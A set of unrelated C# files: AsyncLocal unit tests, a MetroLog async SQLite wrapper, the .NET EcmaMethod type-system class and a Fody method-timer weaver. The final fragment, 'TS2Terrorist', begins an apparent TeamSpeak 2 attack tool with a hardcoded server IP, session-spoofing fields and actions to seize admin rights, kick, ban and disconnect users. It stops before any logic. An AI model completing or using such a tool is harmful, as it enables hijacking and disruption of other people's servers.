// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using Xunit; using System; using System.Threading; using System.Threading.Tasks; #pragma warning disable 1998 // Async method with no "await" operators. public static class AsyncLocalTests { [Fact] public static async Task ValueProperty() { AsyncLocal<int> local = new AsyncLocal<int>(); Assert.Equal(local.Value, 0); local.Value = 1; Assert.Equal(local.Value, 1); local.Value = 0; Assert.Equal(local.Value, 0); } [Fact] public static async Task CaptureAndRestore() { AsyncLocal<int> local = new AsyncLocal<int>(); local.Value = 42; ExecutionContext ec = ExecutionContext.Capture(); local.Value = 12; ExecutionContext.Run( ec, _ => { Assert.Equal(local.Value, 42); local.Value = 56; }, null); Assert.Equal(local.Value, 12); } [Fact] public static async Task CaptureAndRestoreEmptyContext() { AsyncLocal<int> local = new AsyncLocal<int>(); ExecutionContext ec = ExecutionContext.Capture(); local.Value = 12; ExecutionContext.Run( ec, _ => { Assert.Equal(local.Value, 0); local.Value = 56; }, null); Assert.Equal(local.Value, 12); } [Fact] public static async Task NotifyOnValuePropertyChange() { bool expectThreadContextChange = false; int expectedPreviousValue = 0; int expectedCurrentValue = 1; bool gotNotification = false; bool expectNotification = false; AsyncLocal<int> local = new AsyncLocal<int>( args => { gotNotification = true; Assert.True(expectNotification); expectNotification = false; Assert.Equal(args.ThreadContextChanged, expectThreadContextChange); Assert.Equal(args.PreviousValue, expectedPreviousValue); Assert.Equal(args.CurrentValue, expectedCurrentValue); }); expectNotification = true; local.Value = 1; Assert.True(gotNotification); expectNotification = true; expectThreadContextChange = true; expectedPreviousValue = local.Value; expectedCurrentValue = 0; return; } [Fact] public static async Task NotifyOnThreadContextChange() { bool expectThreadContextChange = false; int expectedPreviousValue = 0; int expectedCurrentValue = 1; bool gotNotification = false; bool expectNotification = false; AsyncLocal<int> local = new AsyncLocal<int>( args => { gotNotification = true; Assert.True(expectNotification); expectNotification = false; Assert.Equal(args.ThreadContextChanged, expectThreadContextChange); Assert.Equal(args.PreviousValue, expectedPreviousValue); Assert.Equal(args.CurrentValue, expectedCurrentValue); }); expectNotification = true; local.Value = 1; Assert.True(gotNotification); gotNotification = false; ExecutionContext ec = ExecutionContext.Capture(); expectNotification = true; expectedPreviousValue = 1; expectedCurrentValue = 2; local.Value = 2; Assert.True(gotNotification); gotNotification = false; expectNotification = true; expectedPreviousValue = 2; expectedCurrentValue = 1; expectThreadContextChange = true; ExecutionContext.Run( ec, _ => { Assert.True(gotNotification); gotNotification = false; Assert.Equal(local.Value, 1); expectNotification = true; expectedPreviousValue = 1; expectedCurrentValue = 3; expectThreadContextChange = false; local.Value = 3; Assert.True(gotNotification); gotNotification = false; expectNotification = true; expectedPreviousValue = 3; expectedCurrentValue = 2; expectThreadContextChange = true; return; }, null); Assert.True(gotNotification); gotNotification = false; Assert.Equal(local.Value, 2); expectNotification = true; expectThreadContextChange = true; expectedPreviousValue = local.Value; expectedCurrentValue = 0; return; } [Fact] public static async Task NotifyOnThreadContextChangeWithOneEmptyContext() { bool expectThreadContextChange = false; int expectedPreviousValue = 0; int expectedCurrentValue = 1; bool gotNotification = false; bool expectNotification = false; AsyncLocal<int> local = new AsyncLocal<int>( args => { gotNotification = true; Assert.True(expectNotification); expectNotification = false; Assert.Equal(args.ThreadContextChanged, expectThreadContextChange); Assert.Equal(args.PreviousValue, expectedPreviousValue); Assert.Equal(args.CurrentValue, expectedCurrentValue); }); ExecutionContext ec = ExecutionContext.Capture(); expectNotification = true; expectedPreviousValue = 0; expectedCurrentValue = 1; local.Value = 1; Assert.True(gotNotification); gotNotification = false; expectNotification = true; expectedPreviousValue = 1; expectedCurrentValue = 0; expectThreadContextChange = true; ExecutionContext.Run( ec, _ => { Assert.True(gotNotification); gotNotification = false; Assert.Equal(local.Value, 0); expectNotification = true; expectedPreviousValue = 0; expectedCurrentValue = 1; expectThreadContextChange = true; return; }, null); Assert.True(gotNotification); gotNotification = false; Assert.Equal(local.Value, 1); expectNotification = true; expectThreadContextChange = true; expectedPreviousValue = local.Value; expectedCurrentValue = 0; return; } // helper to make it easy to start an anonymous async method on the current thread. private static Task Run(Func<Task> func) { return func(); } [Fact] public static async Task AsyncMethodNotifications() { // // Define thread-local and async-local values. The async-local value uses its notification // to keep the thread-local value in sync with the async-local value. // ThreadLocal<int> tls = new ThreadLocal<int>(); AsyncLocal<int> als = new AsyncLocal<int>(args => { tls.Value = args.CurrentValue; }); Assert.Equal(tls.Value, als.Value); als.Value = 1; Assert.Equal(tls.Value, als.Value); als.Value = 2; Assert.Equal(tls.Value, als.Value); await Run(async () => { Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 2); als.Value = 3; Assert.Equal(tls.Value, als.Value); Task t = Run(async () => { Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 3); als.Value = 4; Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 4); await Task.Run(() => { Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 4); als.Value = 5; Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 5); }); Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 4); als.Value = 6; Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 6); }); Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 3); await Task.Yield(); Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 3); await t; Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 3); }); Assert.Equal(tls.Value, als.Value); Assert.Equal(als.Value, 2); } [Fact] public static async Task SetValueFromNotification() { int valueToSet = 0; AsyncLocal<int> local = null; local = new AsyncLocal<int>(args => { if (args.ThreadContextChanged) local.Value = valueToSet; }); valueToSet = 2; local.Value = 1; Assert.Equal(local.Value, 1); await Run(async () => { local.Value = 3; valueToSet = 4; }); Assert.Equal(local.Value, 4); } [Fact] public static async Task ExecutionContextCopyOnWrite() { AsyncLocal<int> local = new AsyncLocal<int>(); local.Value = 42; await Run(async () => { SynchronizationContext.SetSynchronizationContext(new SynchronizationContext()); Assert.Equal(42, local.Value); local.Value = 12; }); Assert.Equal(local.Value, 42); } }
// // Copyright (c) 2012 Krueger Systems, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; using System.Threading; using System.Threading.Tasks; using Windows.UI.Xaml; namespace MetroLog.NetCore.Targets.SQLite { public class SQLiteAsyncConnection { SQLiteConnectionString _connectionString; public SQLiteAsyncConnection (string databasePath, bool storeDateTimeAsTicks = false) { _connectionString = new SQLiteConnectionString (databasePath, storeDateTimeAsTicks); } SQLiteConnectionWithLock GetConnection () { return SQLiteConnectionPool.Shared.GetConnection (_connectionString); } public Task<CreateTablesResult> CreateTableAsync<T> () where T : new () { return CreateTablesAsync (typeof (T)); } public Task<CreateTablesResult> CreateTablesAsync<T, T2> () where T : new () where T2 : new () { return CreateTablesAsync (typeof (T), typeof (T2)); } public Task<CreateTablesResult> CreateTablesAsync<T, T2, T3> () where T : new () where T2 : new () where T3 : new () { return CreateTablesAsync (typeof (T), typeof (T2), typeof (T3)); } public Task<CreateTablesResult> CreateTablesAsync<T, T2, T3, T4> () where T : new () where T2 : new () where T3 : new () where T4 : new () { return CreateTablesAsync (typeof (T), typeof (T2), typeof (T3), typeof (T4)); } public Task<CreateTablesResult> CreateTablesAsync<T, T2, T3, T4, T5> () where T : new () where T2 : new () where T3 : new () where T4 : new () where T5 : new () { return CreateTablesAsync (typeof (T), typeof (T2), typeof (T3), typeof (T4), typeof (T5)); } public Task<CreateTablesResult> CreateTablesAsync (params Type[] types) { return Task.Factory.StartNew (() => { CreateTablesResult result = new CreateTablesResult (); var conn = GetConnection (); using (conn.Lock ()) { foreach (Type type in types) { int aResult = conn.CreateTable (type); result.Results[type] = aResult; } } return result; }); } public Task<int> DropTableAsync<T> () where T : new () { return Task.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.DropTable<T> (); } }); } public Task<int> InsertAsync (object item) { return Task.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.Insert (item); } }); } public Task<int> UpdateAsync (object item) { return Task.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.Update (item); } }); } public Task<int> DeleteAsync (object item) { return Task.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.Delete (item); } }); } public Task<T> GetAsync<T>(object pk) where T : new() { return Task.Factory.StartNew(() => { var conn = GetConnection(); using (conn.Lock()) { return conn.Get<T>(pk); } }); } public Task<T> FindAsync<T> (object pk) where T : new () { return Task.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.Find<T> (pk); } }); } public Task<T> GetAsync<T> (Expression<Func<T, bool>> predicate) where T : new() { return Task.Factory.StartNew(() => { var conn = GetConnection(); using (conn.Lock()) { return conn.Get<T> (predicate); } }); } public Task<T> FindAsync<T> (Expression<Func<T, bool>> predicate) where T : new () { return Task.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.Find<T> (predicate); } }); } public Task<int> ExecuteAsync (string query, params object[] args) { return Task<int>.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.Execute (query, args); } }); } public Task<int> InsertAllAsync (IEnumerable items) { return Task.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.InsertAll (items); } }); } [Obsolete("Will cause a deadlock if any call in action ends up in a different thread. Use RunInTransactionAsync(Action<SQLiteConnection>) instead.")] public Task RunInTransactionAsync (Action<SQLiteAsyncConnection> action) { return Task.Factory.StartNew (() => { var conn = this.GetConnection (); using (conn.Lock ()) { conn.BeginTransaction (); try { action (this); conn.Commit (); } catch (Exception) { conn.Rollback (); throw; } } }); } public Task RunInTransactionAsync(Action<SQLiteConnection> action) { return Task.Factory.StartNew(() => { var conn = this.GetConnection(); using (conn.Lock()) { conn.BeginTransaction(); try { action(conn); conn.Commit(); } catch (Exception) { conn.Rollback(); throw; } } }); } public AsyncTableQuery<T> Table<T> () where T : new () { // // This isn't async as the underlying connection doesn't go out to the database // until the query is performed. The Async methods are on the query iteself. // var conn = GetConnection (); return new AsyncTableQuery<T> (conn.Table<T> ()); } public Task<T> ExecuteScalarAsync<T> (string sql, params object[] args) { return Task<T>.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { var command = conn.CreateCommand (sql, args); return command.ExecuteScalar<T> (); } }); } public Task<List<T>> QueryAsync<T> (string sql, params object[] args) where T : new () { return Task<List<T>>.Factory.StartNew (() => { var conn = GetConnection (); using (conn.Lock ()) { return conn.Query<T> (sql, args); } }); } } // // TODO: Bind to AsyncConnection.GetConnection instead so that delayed // execution can still work after a Pool.Reset. // public class AsyncTableQuery<T> where T : new () { TableQuery<T> _innerQuery; public AsyncTableQuery (TableQuery<T> innerQuery) { _innerQuery = innerQuery; } public AsyncTableQuery<T> Where (Expression<Func<T, bool>> predExpr) { return new AsyncTableQuery<T> (_innerQuery.Where (predExpr)); } public AsyncTableQuery<T> Skip (int n) { return new AsyncTableQuery<T> (_innerQuery.Skip (n)); } public AsyncTableQuery<T> Take (int n) { return new AsyncTableQuery<T> (_innerQuery.Take (n)); } public AsyncTableQuery<T> OrderBy<U> (Expression<Func<T, U>> orderExpr) { return new AsyncTableQuery<T> (_innerQuery.OrderBy<U> (orderExpr)); } public AsyncTableQuery<T> OrderByDescending<U> (Expression<Func<T, U>> orderExpr) { return new AsyncTableQuery<T> (_innerQuery.OrderByDescending<U> (orderExpr)); } public Task<List<T>> ToListAsync () { return Task.Factory.StartNew (() => { using (((SQLiteConnectionWithLock)_innerQuery.Connection).Lock ()) { return _innerQuery.ToList (); } }); } public Task<int> CountAsync () { return Task.Factory.StartNew (() => { using (((SQLiteConnectionWithLock)_innerQuery.Connection).Lock ()) { return _innerQuery.Count (); } }); } public Task<T> ElementAtAsync (int index) { return Task.Factory.StartNew (() => { using (((SQLiteConnectionWithLock)_innerQuery.Connection).Lock ()) { return _innerQuery.ElementAt (index); } }); } public Task<T> FirstAsync () { return Task<T>.Factory.StartNew(() => { using (((SQLiteConnectionWithLock)_innerQuery.Connection).Lock ()) { return _innerQuery.First (); } }); } public Task<T> FirstOrDefaultAsync () { return Task<T>.Factory.StartNew(() => { using (((SQLiteConnectionWithLock)_innerQuery.Connection).Lock ()) { return _innerQuery.FirstOrDefault (); } }); } } public class CreateTablesResult { public Dictionary<Type, int> Results { get; private set; } internal CreateTablesResult () { this.Results = new Dictionary<Type, int> (); } } class SQLiteConnectionPool { class Entry { public SQLiteConnectionString ConnectionString { get; private set; } public SQLiteConnectionWithLock Connection { get; private set; } public Entry (SQLiteConnectionString connectionString) { ConnectionString = connectionString; Connection = new SQLiteConnectionWithLock (connectionString); } public void OnApplicationSuspended () { Connection.Dispose (); Connection = null; } } readonly Dictionary<string, Entry> _entries = new Dictionary<string, Entry> (); readonly object _entriesLock = new object (); static readonly SQLiteConnectionPool _shared = new SQLiteConnectionPool (); private SQLiteConnectionPool() { // mbr - 2012-09-14 - this needs to find its way into the main sqlite-net branch. Application.Current.Suspending += Current_Suspending; } void Current_Suspending(object sender, Windows.ApplicationModel.SuspendingEventArgs e) { this.ApplicationSuspended(); } /// <summary> /// Gets the singleton instance of the connection tool. /// </summary> public static SQLiteConnectionPool Shared { get { return _shared; } } public SQLiteConnectionWithLock GetConnection (SQLiteConnectionString connectionString) { lock (_entriesLock) { Entry entry; string key = connectionString.ConnectionString; if (!_entries.TryGetValue (key, out entry)) { entry = new Entry (connectionString); _entries[key] = entry; } return entry.Connection; } } /// <summary> /// Closes all connections managed by this pool. /// </summary> public void Reset () { lock (_entriesLock) { foreach (var entry in _entries.Values) { entry.OnApplicationSuspended (); } _entries.Clear (); } } /// <summary> /// Call this method when the application is suspended. /// </summary> /// <remarks>Behaviour here is to close any open connections.</remarks> public void ApplicationSuspended () { Reset (); } } class SQLiteConnectionWithLock : SQLiteConnection { readonly object _lockPoint = new object (); public SQLiteConnectionWithLock (SQLiteConnectionString connectionString) : base (connectionString.DatabasePath, connectionString.StoreDateTimeAsTicks) { } public IDisposable Lock () { return new LockWrapper (_lockPoint); } private class LockWrapper : IDisposable { object _lockPoint; public LockWrapper (object lockPoint) { _lockPoint = lockPoint; Monitor.Enter (_lockPoint); } public void Dispose () { Monitor.Exit (_lockPoint); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Diagnostics; using System.Runtime.CompilerServices; using System.Reflection; using System.Reflection.Metadata; using System.Threading; using Internal.TypeSystem; namespace Internal.TypeSystem.Ecma { public sealed class EcmaMethod : MethodDesc, EcmaModule.IEntityHandleObject { private static class MethodFlags { public const int BasicMetadataCache = 0x0001; public const int Virtual = 0x0002; public const int NewSlot = 0x0004; public const int Abstract = 0x0008; public const int Final = 0x0010; public const int NoInlining = 0x0020; public const int AggressiveInlining = 0x0040; public const int RuntimeImplemented = 0x0080; public const int InternalCall = 0x0100; public const int AttributeMetadataCache = 0x1000; public const int Intrinsic = 0x2000; public const int NativeCallable = 0x4000; public const int RuntimeExport = 0x8000; }; private EcmaType _type; private MethodDefinitionHandle _handle; // Cached values private ThreadSafeFlags _methodFlags; private MethodSignature _signature; private string _name; private TypeDesc[] _genericParameters; // TODO: Optional field? internal EcmaMethod(EcmaType type, MethodDefinitionHandle handle) { _type = type; _handle = handle; #if DEBUG // Initialize name eagerly in debug builds for convenience this.ToString(); #endif } EntityHandle EcmaModule.IEntityHandleObject.Handle { get { return _handle; } } public override TypeSystemContext Context { get { return _type.Module.Context; } } public override TypeDesc OwningType { get { return _type; } } private MethodSignature InitializeSignature() { var metadataReader = MetadataReader; BlobReader signatureReader = metadataReader.GetBlobReader(metadataReader.GetMethodDefinition(_handle).Signature); EcmaSignatureParser parser = new EcmaSignatureParser(Module, signatureReader); var signature = parser.ParseMethodSignature(); return (_signature = signature); } public override MethodSignature Signature { get { if (_signature == null) return InitializeSignature(); return _signature; } } public EcmaModule Module { get { return _type.EcmaModule; } } public MetadataReader MetadataReader { get { return _type.MetadataReader; } } public MethodDefinitionHandle Handle { get { return _handle; } } [MethodImpl(MethodImplOptions.NoInlining)] private int InitializeMethodFlags(int mask) { int flags = 0; if ((mask & MethodFlags.BasicMetadataCache) != 0) { var methodAttributes = Attributes; var methodImplAttributes = ImplAttributes; if ((methodAttributes & MethodAttributes.Virtual) != 0) flags |= MethodFlags.Virtual; if ((methodAttributes & MethodAttributes.NewSlot) != 0) flags |= MethodFlags.NewSlot; if ((methodAttributes & MethodAttributes.Abstract) != 0) flags |= MethodFlags.Abstract; if ((methodAttributes & MethodAttributes.Final) != 0) flags |= MethodFlags.Final; if ((methodImplAttributes & MethodImplAttributes.NoInlining) != 0) flags |= MethodFlags.NoInlining; if ((methodImplAttributes & MethodImplAttributes.AggressiveInlining) != 0) flags |= MethodFlags.AggressiveInlining; if ((methodImplAttributes & MethodImplAttributes.Runtime) != 0) flags |= MethodFlags.RuntimeImplemented; if ((methodImplAttributes & MethodImplAttributes.InternalCall) != 0) flags |= MethodFlags.InternalCall; flags |= MethodFlags.BasicMetadataCache; } // Fetching custom attribute based properties is more expensive, so keep that under // a separate cache that might not be accessed very frequently. if ((mask & MethodFlags.AttributeMetadataCache) != 0) { var metadataReader = this.MetadataReader; var methodDefinition = metadataReader.GetMethodDefinition(_handle); foreach (var attributeHandle in methodDefinition.GetCustomAttributes()) { StringHandle namespaceHandle, nameHandle; if (!metadataReader.GetAttributeNamespaceAndName(attributeHandle, out namespaceHandle, out nameHandle)) continue; if (metadataReader.StringComparer.Equals(namespaceHandle, "System.Runtime.CompilerServices")) { if (metadataReader.StringComparer.Equals(nameHandle, "IntrinsicAttribute")) { flags |= MethodFlags.Intrinsic; } } else if (metadataReader.StringComparer.Equals(namespaceHandle, "System.Runtime.InteropServices")) { if (metadataReader.StringComparer.Equals(nameHandle, "NativeCallableAttribute")) { flags |= MethodFlags.NativeCallable; } } else if (metadataReader.StringComparer.Equals(namespaceHandle, "System.Runtime")) { if (metadataReader.StringComparer.Equals(nameHandle, "RuntimeExportAttribute")) { flags |= MethodFlags.RuntimeExport; } } } flags |= MethodFlags.AttributeMetadataCache; } Debug.Assert((flags & mask) != 0); _methodFlags.AddFlags(flags); return flags & mask; } [MethodImpl(MethodImplOptions.AggressiveInlining)] private int GetMethodFlags(int mask) { int flags = _methodFlags.Value & mask; if (flags != 0) return flags; return InitializeMethodFlags(mask); } public override bool IsVirtual { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.Virtual) & MethodFlags.Virtual) != 0; } } public override bool IsNewSlot { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.NewSlot) & MethodFlags.NewSlot) != 0; } } public override bool IsAbstract { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.Abstract) & MethodFlags.Abstract) != 0; } } public override bool IsFinal { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.Final) & MethodFlags.Final) != 0; } } public override bool IsNoInlining { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.NoInlining) & MethodFlags.NoInlining) != 0; } } public override bool IsAggressiveInlining { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.AggressiveInlining) & MethodFlags.AggressiveInlining) != 0; } } public override bool IsRuntimeImplemented { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.RuntimeImplemented) & MethodFlags.RuntimeImplemented) != 0; } } public override bool IsIntrinsic { get { return (GetMethodFlags(MethodFlags.AttributeMetadataCache | MethodFlags.Intrinsic) & MethodFlags.Intrinsic) != 0; } } public override bool IsInternalCall { get { return (GetMethodFlags(MethodFlags.BasicMetadataCache | MethodFlags.InternalCall) & MethodFlags.InternalCall) != 0; } } public override bool IsNativeCallable { get { return (GetMethodFlags(MethodFlags.AttributeMetadataCache | MethodFlags.NativeCallable) & MethodFlags.NativeCallable) != 0; } } public override bool IsRuntimeExport { get { return (GetMethodFlags(MethodFlags.AttributeMetadataCache | MethodFlags.RuntimeExport) & MethodFlags.RuntimeExport) != 0; } } public MethodAttributes Attributes { get { return MetadataReader.GetMethodDefinition(_handle).Attributes; } } public MethodImplAttributes ImplAttributes { get { return MetadataReader.GetMethodDefinition(_handle).ImplAttributes; } } private string InitializeName() { var metadataReader = MetadataReader; var name = metadataReader.GetString(metadataReader.GetMethodDefinition(_handle).Name); return (_name = name); } public override string Name { get { if (_name == null) return InitializeName(); return _name; } } private void ComputeGenericParameters() { var genericParameterHandles = MetadataReader.GetMethodDefinition(_handle).GetGenericParameters(); int count = genericParameterHandles.Count; if (count > 0) { TypeDesc[] genericParameters = new TypeDesc[count]; int i = 0; foreach (var genericParameterHandle in genericParameterHandles) { genericParameters[i++] = new EcmaGenericParameter(Module, genericParameterHandle); } Interlocked.CompareExchange(ref _genericParameters, genericParameters, null); } else { _genericParameters = TypeDesc.EmptyTypes; } } public override Instantiation Instantiation { get { if (_genericParameters == null) ComputeGenericParameters(); return new Instantiation(_genericParameters); } } public override bool HasCustomAttribute(string attributeNamespace, string attributeName) { return !MetadataReader.GetCustomAttributeHandle(MetadataReader.GetMethodDefinition(_handle).GetCustomAttributes(), attributeNamespace, attributeName).IsNil; } public override string ToString() { return _type.ToString() + "." + Name; } public override bool IsPInvoke { get { return (((int)Attributes & (int)MethodAttributes.PinvokeImpl) != 0); } } public override PInvokeMetadata GetPInvokeMethodMetadata() { if (!IsPInvoke) return default(PInvokeMetadata); MetadataReader metadataReader = MetadataReader; MethodImport import = metadataReader.GetMethodDefinition(_handle).GetImport(); string name = metadataReader.GetString(import.Name); ModuleReference moduleRef = metadataReader.GetModuleReference(import.Module); string moduleName = metadataReader.GetString(moduleRef.Name); // Spot check the enums match Debug.Assert((int)MethodImportAttributes.CallingConventionStdCall == (int)PInvokeAttributes.CallingConventionStdCall); Debug.Assert((int)MethodImportAttributes.CharSetAuto == (int)PInvokeAttributes.CharSetAuto); Debug.Assert((int)MethodImportAttributes.CharSetUnicode == (int)PInvokeAttributes.CharSetUnicode); return new PInvokeMetadata(moduleName, name, (PInvokeAttributes)import.Attributes); } } }
using System; using System.Diagnostics; using System.Linq; using Fody; using Mono.Cecil; using Mono.Cecil.Cil; public partial class ModuleWeaver { const string LongType = "System.Int64"; const string TimeSpanType = "System.TimeSpan"; public MethodReference LogMethodUsingLong; public MethodReference LogWithMessageMethodUsingLong; public MethodReference LogMethodUsingTimeSpan; public MethodReference LogWithMessageMethodUsingTimeSpan; public bool LogMethodIsNop; public void FindInterceptor() { WriteDebug("Searching for an interceptor"); var interceptor = types.FirstOrDefault(x => x.IsInterceptor()); if (interceptor != null) { LogMethodUsingLong = FindLogMethod(interceptor, LongType); LogWithMessageMethodUsingLong = FindLogWithMessageMethod(interceptor, LongType); LogMethodUsingTimeSpan = FindLogMethod(interceptor, TimeSpanType); LogWithMessageMethodUsingTimeSpan = FindLogWithMessageMethod(interceptor, TimeSpanType); if (LogMethodUsingLong is null && LogWithMessageMethodUsingLong is null && LogMethodUsingTimeSpan is null && LogWithMessageMethodUsingTimeSpan is null) { throw new WeavingException($"Could not find 'Log' method on '{interceptor.FullName}'."); } return; } foreach (var referencePath in ReferenceCopyLocalPaths) { if (!referencePath.EndsWith(".dll") && !referencePath.EndsWith(".exe")) { continue; } var stopwatch = Stopwatch.StartNew(); if (!Image.IsAssembly(referencePath)) { WriteDebug($"Skipped checking '{referencePath}' since it is not a .net assembly."); continue; } WriteDebug($"Reading module from '{referencePath}'"); var moduleDefinition = ReadModule(referencePath); stopwatch.Stop(); interceptor = moduleDefinition .GetTypes() .FirstOrDefault(x => x.IsInterceptor()); if (interceptor is null) { continue; } if (!interceptor.IsPublic) { WriteInfo($"Did not use '{interceptor.FullName}' since it is not public."); continue; } var logMethodUsingLong = FindLogMethod(interceptor, LongType); if (logMethodUsingLong != null) { LogMethodUsingLong = ModuleDefinition.ImportReference(logMethodUsingLong); } var logWithMessageMethodUsingLong = FindLogWithMessageMethod(interceptor, LongType); if (logWithMessageMethodUsingLong != null) { LogWithMessageMethodUsingLong = ModuleDefinition.ImportReference(logWithMessageMethodUsingLong); } var logMethodUsingTimeSpan = FindLogMethod(interceptor, TimeSpanType); if (logMethodUsingTimeSpan != null) { LogMethodUsingTimeSpan = ModuleDefinition.ImportReference(logMethodUsingTimeSpan); } var logWithMessageMethodUsingTimeSpan = FindLogWithMessageMethod(interceptor, TimeSpanType); if (logWithMessageMethodUsingTimeSpan != null) { LogWithMessageMethodUsingTimeSpan = ModuleDefinition.ImportReference(logWithMessageMethodUsingTimeSpan); } if (LogMethodUsingLong is null && LogWithMessageMethodUsingLong is null && LogMethodUsingTimeSpan is null && LogWithMessageMethodUsingTimeSpan is null) { throw new WeavingException($"Could not find 'Log' method on '{interceptor.FullName}'."); } return; } } MethodDefinition FindLogMethod(TypeDefinition interceptorType, string elapsedParameterTypeName) { var requiredParameterTypes = new[] { "System.Reflection.MethodBase", elapsedParameterTypeName }; var logMethod = interceptorType.Methods.FirstOrDefault(x => x.Name == "Log" && x.Parameters.Count == 2 && x.Parameters[0].ParameterType.FullName == requiredParameterTypes[0] && x.Parameters[1].ParameterType.FullName == requiredParameterTypes[1]); if (logMethod is null) { return null; } VerifyHasCorrectParameters(logMethod, requiredParameterTypes); VerifyMethodIsPublicStatic(logMethod); CheckNop(logMethod); return logMethod; } MethodDefinition FindLogWithMessageMethod(TypeDefinition interceptorType, string elapsedParameterTypeName) { var requiredParameterTypes = new[] { "System.Reflection.MethodBase", elapsedParameterTypeName, "System.String" }; var logMethod = interceptorType.Methods.FirstOrDefault(x => x.Name == "Log" && x.Parameters.Count == 3 && x.Parameters[0].ParameterType.FullName == requiredParameterTypes[0] && x.Parameters[1].ParameterType.FullName == requiredParameterTypes[1] && x.Parameters[2].ParameterType.FullName == requiredParameterTypes[2]); if (logMethod is null) { return null; } VerifyHasCorrectParameters(logMethod, requiredParameterTypes); VerifyMethodIsPublicStatic(logMethod); CheckNop(logMethod); return logMethod; } void CheckNop(MethodDefinition logMethod) { // Never reset if (LogMethodIsNop) { return; } LogMethodIsNop = logMethod.Body.Instructions.All(x => x.OpCode == OpCodes.Nop || x.OpCode == OpCodes.Ret ); } // ReSharper disable once UnusedParameter.Local static void VerifyMethodIsPublicStatic(MethodDefinition logMethod) { if (!logMethod.IsPublic) { throw new WeavingException("Method 'MethodTimeLogger.Log' is not public."); } if (!logMethod.IsStatic) { throw new WeavingException("Method 'MethodTimeLogger.Log' is not static."); } } static void VerifyHasCorrectParameters(MethodDefinition logMethod, string[] expectedParameterTypes) { var logMethodHasCorrectParameters = true; var parameters = logMethod.Parameters; if (parameters.Count != expectedParameterTypes.Length) { logMethodHasCorrectParameters = false; } else { for (var i = 0; i < logMethod.Parameters.Count; i++) { if (parameters[i].ParameterType.FullName != expectedParameterTypes[i]) { logMethodHasCorrectParameters = false; } } } if (!logMethodHasCorrectParameters) { throw new WeavingException($"Method '{logMethod.FullName}' must have 2 parameters of type 'System.Reflection.MethodBase' and 'System.Int64'."); } } ModuleDefinition ReadModule(string referencePath) { var readerParameters = new ReaderParameters { AssemblyResolver = ModuleDefinition.AssemblyResolver }; try { return ModuleDefinition.ReadModule(referencePath, readerParameters); } catch (Exception exception) { var message = $"Failed to read {referencePath}. {exception.Message}"; throw new Exception(message, exception); } } }
using AltarNet; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; using System.Threading; using System.Windows.Forms; using System.Numerics; namespace TS2Terrorist { public partial class Form1 : Form { public uint SequenceNumber = 0; public uint PingSequenceNumber = 1; public uint SessionKey = 0; public uint ClientID = 0; public uint RealClientID = 0; UdpHandler net; const string IP = "54.201.47.114"; const int PORT = 8767; IPEndPoint Target; List<Player> Players = new List<Player>(); Thread pingThread = null; List<int> RemoveQueue = new List<int>(); List<uint> Sessions = new List<uint>(); List<uint> ClientIDs = new List<uint>(); List<uint> GeneratedSessions = new List<uint>(); SessionList sessionList = null; public bool disconnectPending = false; public uint dcSequenceNumber = 0; public uint spoofSequenceNumber = 999; public Object lockObject = new Object(); /* actions */ const int ACT_GRANT_SA = 1; const int ACT_REVOKE_SA = 2; const int ACT_DISCONNECT = 3; const int ACT_KICK = 4; const int ACT_BAN = 5; const int ACT_SEND_MESSAGE_PLAYER = 6; const int ACT_SEND_MESSAGE_ALL = 7; const int ACT_REGISTER = 8; // That's our custom TextWriter class TextWriter _writer = null; private uint RealSessionKey; public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { // Instantiate the writer //_writer = new 